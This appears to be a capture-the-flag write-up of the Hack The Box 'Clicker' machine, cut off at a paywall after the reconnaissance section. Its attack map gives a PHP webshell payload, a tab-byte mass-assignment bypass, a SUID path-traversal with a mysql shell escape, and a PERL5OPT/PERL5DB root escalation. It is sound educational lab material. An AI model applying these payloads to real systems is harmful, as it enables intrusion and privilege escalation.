root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat clicker.md
// writeups

Clicker

23 Sep 2023 · 14 min read · root access
Clicker - maquina de Hack The Box

Executive summary — Clicker is a Linux box whose entire chain lives in application logic flaws, with not a single CVE involved: a poorly restricted NFS export leaks the web app's source code, which exposes a mass-assignment bug exploitable with a single tab byte to escalate to admin, and from there an export feature that writes a file with an attacker-controlled extension and content hands over direct RCE. The pivot to jack goes through a path traversal in a SUID binary that abuses mysql's shell-out syntax (\!), and the final escalation to root comes from a Perl debugger injection via environment variables that sudo is allowed to pass through unfiltered.

PlatformHack The Box
Operating systemLinux (Ubuntu 22.04)
DifficultyMedium
StatusRetired
Target IP10.129.75.78
Services22 (SSH), 80 (Apache 2.4.52 → clicker.htb), 111/2049 (NFS)
user.txtjack

Attack map

NFS /mnt/backups ── clicker.htb_backup.zip (full site source code)
   │  save_game.php: role%09=Admin  (the tab byte evades the filter
   │  on the "role" key; PHP does not normalize it to "_" the way it
   │  does with spaces and dots)
   ▼
Admin ── export.php: extension=php + nickname=<?php system($_GET[0]);?> ──▶ www-data webshell
   │  SUID execute_query 5 ../../../tmp/x.sql
   │  (strncpy truncates the filename to 20 bytes; it just fits)
   │  x.sql: "\!" (mysql runs a shell command with the process's
   │  euid, jack)
   ▼
jack (SSH key dropped into authorized_keys) ── user.txt
   │  sudo -l: (root) SETENV NOPASSWD /opt/monitor.sh
   │  monitor.sh calls xml_pp (a Perl script) and only clears
   │  PERL5LIB/PERLLIB, not PERL5OPT/PERL5DB
   ▼
[ROOT] PERL5OPT=-d PERL5DB='system(...)' ── setuid copy of
       /bin/bash ──▶ root.txt

1. Reconnaissance and NFS

nmap -p- --min-rate 5000 10.129.75.78        # ← only 111 shows up initially (firewall)
nmap -p- -sT --min-rate 2000 10.129.75.78    # ← reveals 22, 80, 111, 2049 (NFS)

A first SYN scan showed only rpcbind (111); a later full-connect scan (-sT) revealed SSH, HTTP and NFS. It's worth re-scanning with -sT whenever a SYN result looks anomalous or incomplete — a firewall can respond differently to a half-open SYN than to a fully completed TCP handshake.

showmount -e 10.129.75.78          # /mnt/backups *
mount -t nfs -o vers=3 10.129.75.78:/mnt/backups /mnt/clicker_nfs
# clicker.htb_backup.zip  → full website source code

The NFS export has no host restriction and requires no authentication (vers=3 with an anonymous mount), and dumps a backup with the complete PHP source of clicker.htb straight away: the attack stops being black-box and turns into source-code review.

🔒 Clearance required

Root Access unlocks the content you can't see — everything else on the site is already open.

See Root Access plans

No account? Create one free then upgrade from your console.